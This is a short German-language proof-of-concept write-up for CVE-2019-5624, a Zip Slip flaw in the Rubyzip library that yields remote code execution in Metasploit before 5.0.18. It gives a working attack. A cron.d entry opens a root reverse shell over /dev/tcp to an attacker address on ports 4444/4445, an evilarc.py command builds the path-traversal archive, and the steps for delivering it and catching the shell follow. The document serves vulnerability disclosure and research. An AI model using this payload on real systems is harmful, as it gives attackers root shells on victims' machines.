CVE-2019-5624

Ein Proof of Concept für die Metasploit-Sicherheitslücke CVE-2019-5624 (Rubyzip unsichere ZIP-Verarbeitung RCE)

Einleitung

Im Februar 2019 fand ich eine neue Sicherheitslücke in der Rubyzip-Bibliothek. Sie ermöglicht einem Angreifer, unsichere ZIP-Verarbeitung (Zip Slip) auszunutzen, was zu einer Remote-Code-Ausführung führt.

Diese Sicherheitslücke wurde gegen alle Metasploit-Versionen < 5.0.18 genutzt (Metasploit Wrap-Up).

Ich habe einen detaillierten Blogbeitrag verfasst, der die Sicherheitslücke erklärt.

POC

• Erstellen Sie eine Datei mit folgendem Inhalt:

* * * * * root /bin/bash -c "exec /bin/bash0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"

• Generieren Sie das ZIP-Archiv mit der Path-Traversal-Nutzlast:

python evilarc.py exploit --os unix -p etc/cron.d/

• Fügen Sie dem ZIP-Archiv einen gültigen MSF-Arbeitsbereich hinzu (damit MSF es extrahiert, andernfalls wird die Verarbeitung des ZIP-Archivs verweigert)
• Richten Sie zwei Listener ein, einen auf Port 4444 und den anderen auf Port 4445 (der auf Port 4445 erhält die Reverse Shell)